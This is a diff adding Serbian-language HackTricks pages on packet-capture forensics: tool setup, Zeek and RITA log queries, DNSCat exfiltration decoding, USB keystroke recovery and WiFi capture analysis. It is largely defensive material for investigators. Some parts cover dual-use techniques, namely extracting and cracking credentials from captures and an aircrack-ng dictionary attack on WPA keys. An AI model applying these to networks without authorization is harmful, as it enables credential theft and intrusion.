**Ako ćete analizirati PCAP datoteku, osnovno je da znate kako koristiti Wireshark**
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
Neki trikovi za Wireshark se mogu naći u:
|
||||||
|
|
||||||
|
{% content-ref url="wireshark-tricks.md" %}
|
||||||
|
[wireshark-tricks.md](wireshark-tricks.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
### Xplico Framework
|
||||||
|
|
||||||
|
[**Xplico** ](https://github.com/xplico/xplico)_(samo za linux)_ može **analizirati** pcap datoteku i izvući informacije iz nje. Na primer, iz pcap datoteke Xplico izvlači svaki email (POP, IMAP i SMTP protokoli), sve HTTP sadržaje, svaki VoIP poziv (SIP), FTP, TFTP, itd.
|
||||||
|
|
||||||
|
**Instalacija**
|
||||||
|
```bash
|
||||||
|
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
|
||||||
|
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
|
||||||
|
sudo apt-get update
|
||||||
|
sudo apt-get install xplico
|
||||||
|
```
|
||||||
|
**Pokretanje**
|
||||||
|
```
|
||||||
|
/etc/init.d/apache2 restart
|
||||||
|
/etc/init.d/xplico start
|
||||||
|
```
|
||||||
|
Pristupite _**127.0.0.1:9876**_ sa pristupnim podacima _**xplico:xplico**_
|
||||||
|
|
||||||
|
Zatim kreirajte **novi slučaj**, kreirajte **novu sesiju** unutar slučaja i **učitajte pcap** datoteku.
|
||||||
|
|
||||||
|
### NetworkMiner
|
||||||
|
|
||||||
|
Kao i Xplico, ovo je alat za **analizu i izdvajanje objekata iz pcap datoteka**. Ima besplatno izdanje koje možete **preuzeti** [**ovde**](https://www.netresec.com/?page=NetworkMiner). Radi na **Windows**-u.\
|
||||||
|
Ovaj alat je takođe koristan za dobijanje **drugih analiziranih informacija** iz paketa kako biste mogli brže saznati šta se dešavalo.
|
||||||
|
|
||||||
|
### NetWitness Investigator
|
||||||
|
|
||||||
|
Možete preuzeti [**NetWitness Investigator odavde**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Radi na Windows-u)**.\
|
||||||
|
Ovo je još jedan koristan alat koji **analizira pakete** i sortira informacije na koristan način kako biste **znali šta se dešava unutar**.
|
||||||
|
|
||||||
|
### [BruteShark](https://github.com/odedshimon/BruteShark)
|
||||||
|
|
||||||
|
* Izdvajanje i enkodiranje korisničkih imena i lozinki (HTTP, FTP, Telnet, IMAP, SMTP...)
|
||||||
|
* Izdvajanje autentifikacionih heševa i njihovo pucanje koristeći Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
|
||||||
|
* Izgradnja vizuelnog dijagrama mreže (Mrežni čvorovi i korisnici)
|
||||||
|
* Izdvajanje DNS upita
|
||||||
|
* Rekonstrukcija svih TCP i UDP sesija
|
||||||
|
* Izdvajanje fajlova
|
||||||
|
|
||||||
|
### Capinfos
|
||||||
|
```
|
||||||
|
capinfos capture.pcap
|
||||||
|
```
|
||||||
|
### Ngrep
|
||||||
|
|
||||||
|
Ako **tražite** nešto unutar pcap datoteke, možete koristiti **ngrep**. Evo primera korišćenja osnovnih filtera:
|
||||||
|
```bash
|
||||||
|
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
|
||||||
|
```
|
||||||
|
### Isecanje
|
||||||
|
|
||||||
|
Korišćenje uobičajenih tehnika isečenja može biti korisno za izvlačenje fajlova i informacija iz pcap fajla:
|
||||||
|
|
||||||
|
{% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
|
||||||
|
[file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
### Snimanje akreditacija
|
||||||
|
|
||||||
|
Možete koristiti alate poput [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) za parsiranje akreditacija iz pcap fajla ili sa živog interfejsa.
|
||||||
|
|
||||||
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji sajber bezbednosni događaj u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i sajber bezbednosnih profesionalaca u svakoj disciplini.
|
||||||
|
|
||||||
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
## Provera Exploita/Malvera
|
||||||
|
|
||||||
|
### Suricata
|
||||||
|
|
||||||
|
**Instalacija i podešavanje**
|
||||||
|
```
|
||||||
|
apt-get install suricata
|
||||||
|
apt-get install oinkmaster
|
||||||
|
echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
|
||||||
|
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
|
||||||
|
```
|
||||||
|
**Proverite pcap**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**Description:**
|
||||||
|
|
||||||
|
A pcap file is a packet capture file that contains network traffic data. It is commonly used in network forensics to analyze and investigate network activities. By inspecting a pcap file, you can gain valuable insights into the communication between different hosts on a network.
|
||||||
|
|
||||||
|
**Instructions:**
|
||||||
|
|
||||||
|
To check a pcap file, you can use various tools such as Wireshark, tcpdump, or tshark. These tools allow you to open and analyze the contents of the pcap file.
|
||||||
|
|
||||||
|
1. Open the pcap file using Wireshark:
|
||||||
|
```
|
||||||
|
wireshark <pcap_file>
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Analyze the network traffic:
|
||||||
|
- Look for any suspicious or abnormal network activities.
|
||||||
|
- Identify the source and destination IP addresses.
|
||||||
|
- Examine the protocols used (e.g., HTTP, FTP, DNS).
|
||||||
|
- Check for any potential security breaches or unauthorized access attempts.
|
||||||
|
|
||||||
|
3. Use filters to narrow down the analysis:
|
||||||
|
- Apply filters to focus on specific protocols, IP addresses, or ports.
|
||||||
|
- Use display filters to show only relevant packets.
|
||||||
|
|
||||||
|
4. Export relevant packets:
|
||||||
|
- If you find any packets of interest, you can export them for further analysis or evidence collection.
|
||||||
|
|
||||||
|
By carefully inspecting the pcap file, you can uncover valuable information about network traffic patterns, potential security incidents, or even evidence of malicious activities.
|
||||||
|
```
|
||||||
|
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
||||||
|
```
|
||||||
|
### YaraPcap
|
||||||
|
|
||||||
|
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) je alat koji
|
||||||
|
|
||||||
|
* Čita PCAP datoteke i izvlači HTTP tokove.
|
||||||
|
* gzip dekompresuje sve komprimirane tokove
|
||||||
|
* Skenira svaku datoteku sa yara
|
||||||
|
* Piše izveštaj.txt
|
||||||
|
* Opciono čuva podudarajuće datoteke u direktorijumu
|
||||||
|
|
||||||
|
### Analiza malvera
|
||||||
|
|
||||||
|
Proverite da li možete pronaći bilo kakav otisak poznatog malvera:
|
||||||
|
|
||||||
|
{% content-ref url="../malware-analysis.md" %}
|
||||||
|
[malware-analysis.md](../malware-analysis.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Zeek
|
||||||
|
|
||||||
|
> [Zeek](https://docs.zeek.org/en/master/about.html) je pasivni, open-source analizator mrežnog saobraćaja. Mnogi operateri koriste Zeek kao mrežni sigurnosni monitor (NSM) kako bi podržali istrage sumnjive ili zlonamerne aktivnosti. Zeek takođe podržava širok spektar zadataka analize saobraćaja izvan domena sigurnosti, uključujući merenje performansi i otklanjanje problema.
|
||||||
|
|
||||||
|
U osnovi, zapisi koje kreira `zeek` nisu **pcap** datoteke. Stoga će vam biti potrebni **drugim alati** za analizu zapisa gde se nalaze **informacije** o pcap datotekama.
|
||||||
|
|
||||||
|
### Informacije o konekcijama
|
||||||
|
```bash
|
||||||
|
#Get info about longest connections (add "grep udp" to see only udp traffic)
|
||||||
|
#The longest connection might be of malware (constant reverse shell?)
|
||||||
|
cat conn.log | zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p proto service duration | sort -nrk 7 | head -n 10
|
||||||
|
|
||||||
|
10.55.100.100 49778 65.52.108.225 443 tcp - 86222.365445
|
||||||
|
10.55.100.107 56099 111.221.29.113 443 tcp - 86220.126151
|
||||||
|
10.55.100.110 60168 40.77.229.82 443 tcp - 86160.119664
|
||||||
|
|
||||||
|
|
||||||
|
#Improve the metrics by summing up the total duration time for connections that have the same destination IP and Port.
|
||||||
|
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += $5 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
|
||||||
|
|
||||||
|
10.55.100.100 65.52.108.225 443 tcp 86222.4
|
||||||
|
10.55.100.107 111.221.29.113 443 tcp 86220.1
|
||||||
|
10.55.100.110 40.77.229.82 443 tcp 86160.1
|
||||||
|
|
||||||
|
#Get the number of connections summed up per each line
|
||||||
|
cat conn.log | zeek-cut id.orig_h id.resp_h duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2] += $3; count[$1 FS $2] += 1 } END{ for (key in arr) printf "%s%s%s%s%s\n", key, FS, count[key], FS, arr[key] }' | sort -nrk 4 | head -n 10
|
||||||
|
|
||||||
|
10.55.100.100 65.52.108.225 1 86222.4
|
||||||
|
10.55.100.107 111.221.29.113 1 86220.1
|
||||||
|
10.55.100.110 40.77.229.82 134 86160.1
|
||||||
|
|
||||||
|
#Check if any IP is connecting to 1.1.1.1
|
||||||
|
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto service | grep '1.1.1.1' | sort | uniq -c
|
||||||
|
|
||||||
|
#Get number of connections per source IP, dest IP and dest Port
|
||||||
|
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += 1 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
|
||||||
|
|
||||||
|
|
||||||
|
# RITA
|
||||||
|
#Something similar can be done with the tool rita
|
||||||
|
rita show-long-connections -H --limit 10 zeek_logs
|
||||||
|
|
||||||
|
+---------------+----------------+--------------------------+----------------+
|
||||||
|
| SOURCE IP | DESTINATION IP | DSTPORT:PROTOCOL:SERVICE | DURATION |
|
||||||
|
+---------------+----------------+--------------------------+----------------+
|
||||||
|
| 10.55.100.100 | 65.52.108.225 | 443:tcp:- | 23h57m2.3655s |
|
||||||
|
| 10.55.100.107 | 111.221.29.113 | 443:tcp:- | 23h57m0.1262s |
|
||||||
|
| 10.55.100.110 | 40.77.229.82 | 443:tcp:- | 23h56m0.1197s |
|
||||||
|
|
||||||
|
#Get connections info from rita
|
||||||
|
rita show-beacons zeek_logs | head -n 10
|
||||||
|
Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top Intvl,Top Size,Top Intvl Count,Top Size Count,Intvl Skew,Size Skew,Intvl Dispersion,Size Dispersion
|
||||||
|
1,192.168.88.2,165.227.88.15,108858,197,860,182,1,89,53341,108319,0,0,0,0
|
||||||
|
1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0
|
||||||
|
0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0
|
||||||
|
```
|
||||||
|
### DNS informacije
|
||||||
|
|
||||||
|
Kada analizirate pakete u PCAP datoteci, možete pronaći korisne informacije o DNS upitima i odgovorima. Ove informacije mogu biti korisne za identifikaciju komunikacije sa sumnjivim ili zlonamjernim domenama.
|
||||||
|
|
||||||
|
Da biste pristupili DNS informacijama, možete koristiti alate kao što su `tshark` ili `Wireshark`. Evo nekoliko koraka koje možete slijediti:
|
||||||
|
|
||||||
|
1. Pokrenite `tshark` ili otvorite PCAP datoteku u `Wireshark`-u.
|
||||||
|
2. Primijenite filter za DNS pakete kako biste ograničili prikaz samo na DNS komunikaciju.
|
||||||
|
3. Pregledajte DNS upite i odgovore kako biste pronašli korisne informacije.
|
||||||
|
|
||||||
|
Ovdje su neke od informacija koje možete pronaći u DNS paketima:
|
||||||
|
|
||||||
|
- **Domena**: Prikazuje se domena koja se traži u DNS upitu.
|
||||||
|
- **IP adresa**: Prikazuje se IP adresa koja je povezana s domenom.
|
||||||
|
- **Tip zapisa**: Prikazuje se vrsta DNS zapisa, kao što su A, AAAA, CNAME, MX itd.
|
||||||
|
- **Vrijeme života (TTL)**: Prikazuje se koliko dugo DNS zapis ostaje u kešu.
|
||||||
|
|
||||||
|
Analizirajući ove informacije, možete dobiti uvid u komunikaciju koja se odvija putem DNS-a i identificirati potencijalne sigurnosne prijetnje.
|
||||||
|
```bash
|
||||||
|
#Get info about each DNS request performed
|
||||||
|
cat dns.log | zeek-cut -c id.orig_h query qtype_name answers
|
||||||
|
|
||||||
|
#Get the number of times each domain was requested and get the top 10
|
||||||
|
cat dns.log | zeek-cut query | sort | uniq | rev | cut -d '.' -f 1-2 | rev | sort | uniq -c | sort -nr | head -n 10
|
||||||
|
|
||||||
|
#Get all the IPs
|
||||||
|
cat dns.log | zeek-cut id.orig_h query | grep 'example\.com' | cut -f 1 | sort | uniq -c
|
||||||
|
|
||||||
|
#Sort the most common DNS record request (should be A)
|
||||||
|
cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
|
||||||
|
|
||||||
|
#See top DNS domain requested with rita
|
||||||
|
rita show-exploded-dns -H --limit 10 zeek_logs
|
||||||
|
```
|
||||||
|
## Ostale trikove analize pcap datoteka
|
||||||
|
|
||||||
|
{% content-ref url="dnscat-exfiltration.md" %}
|
||||||
|
[dnscat-exfiltration.md](dnscat-exfiltration.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
{% content-ref url="wifi-pcap-analysis.md" %}
|
||||||
|
[wifi-pcap-analysis.md](wifi-pcap-analysis.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
{% content-ref url="usb-keystrokes.md" %}
|
||||||
|
[usb-keystrokes.md](usb-keystrokes.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji kibernetički događaj u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i kibernetičkih profesionalaca u svakoj disciplini.
|
||||||
|
|
||||||
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,57 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
Ako imate pcap sa podacima koji se **eksfiltriraju putem DNSCat-a** (bez korišćenja enkripcije), možete pronaći eksfiltrirani sadržaj.
|
||||||
|
|
||||||
|
Samo trebate znati da **prva 9 bajta** nisu stvarni podaci već su povezani sa **C\&C komunikacijom**:
|
||||||
|
```python
|
||||||
|
from scapy.all import rdpcap, DNSQR, DNSRR
|
||||||
|
import struct
|
||||||
|
|
||||||
|
f = ""
|
||||||
|
last = ""
|
||||||
|
for p in rdpcap('ch21.pcap'):
|
||||||
|
if p.haslayer(DNSQR) and not p.haslayer(DNSRR):
|
||||||
|
|
||||||
|
qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".")
|
||||||
|
qry = ''.join(_.decode('hex') for _ in qry)[9:]
|
||||||
|
if last != qry:
|
||||||
|
print(qry)
|
||||||
|
f += qry
|
||||||
|
last = qry
|
||||||
|
|
||||||
|
#print(f)
|
||||||
|
```
|
||||||
|
Za više informacija: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\
|
||||||
|
[https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md)
|
||||||
|
|
||||||
|
|
||||||
|
Postoji skripta koja radi sa Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder)
|
||||||
|
```
|
||||||
|
python3 dnscat_decoder.py sample.pcap bad_domain
|
||||||
|
```
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,43 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
Ako imate pcap koji sadrži komunikaciju preko USB-a tastature kao što je sledeći:
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (613).png>)
|
||||||
|
|
||||||
|
Možete koristiti alat [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) da biste dobili šta je napisano u komunikaciji:
|
||||||
|
```bash
|
||||||
|
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
|
||||||
|
python3 usbkeyboard.py ./keystrokes.txt
|
||||||
|
```
|
||||||
|
Više informacija i neke skripte o tome kako analizirati ovo možete pronaći na:
|
||||||
|
|
||||||
|
* [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
|
||||||
|
* [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini da podržite HackTricks:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,68 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
# Provera BSSID-ova
|
||||||
|
|
||||||
|
Kada dobijete snimak čiji je glavni saobraćaj Wifi, koristeći WireShark, možete početi istraživanje svih SSID-ova snimka sa _Wireless --> WLAN Traffic_:
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (424).png>)
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (425).png>)
|
||||||
|
|
||||||
|
## Brute Force
|
||||||
|
|
||||||
|
Jedna od kolona na tom ekranu ukazuje da li je **pronađena bilo kakva autentifikacija unutar pcap-a**. Ako je to slučaj, možete pokušati Brute Force koristeći `aircrack-ng`:
|
||||||
|
```bash
|
||||||
|
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
|
||||||
|
```
|
||||||
|
Na primer, povratit će WPA lozinku koja štiti PSK (pre-shared key), koja će biti potrebna kasnije za dešifrovanje saobraćaja.
|
||||||
|
|
||||||
|
# Podaci u balisama / bočni kanal
|
||||||
|
|
||||||
|
Ako sumnjate da **podaci cure unutar balisa WiFi mreže**, možete proveriti balise mreže koristeći filter poput sledećeg: `wlan contains <IMEmreže>`, ili `wlan.ssid == "IMEmreže"` pretražite filtrirane pakete u potrazi za sumnjivim nizovima.
|
||||||
|
|
||||||
|
# Pronalaženje nepoznatih MAC adresa u WiFi mreži
|
||||||
|
|
||||||
|
Sledeći link će biti koristan za pronalaženje **mašina koje šalju podatke unutar WiFi mreže**:
|
||||||
|
|
||||||
|
* `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
|
||||||
|
|
||||||
|
Ako već znate **MAC adrese, možete ih ukloniti iz rezultata** dodavanjem provere poput ove: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
|
||||||
|
|
||||||
|
Kada ste otkrili **nepoznate MAC adrese** koje komuniciraju unutar mreže, možete koristiti **filtere** poput sledećeg: `wlan.addr==<MAC adresa> && (ftp || http || ssh || telnet)` da biste filtrirali njen saobraćaj. Imajte na umu da su filteri ftp/http/ssh/telnet korisni ako ste dešifrovali saobraćaj.
|
||||||
|
|
||||||
|
# Dešifrovanje saobraćaja
|
||||||
|
|
||||||
|
Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (426).png>)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite videti **oglašavanje vaše kompanije u HackTricks-u** ili **preuzeti HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
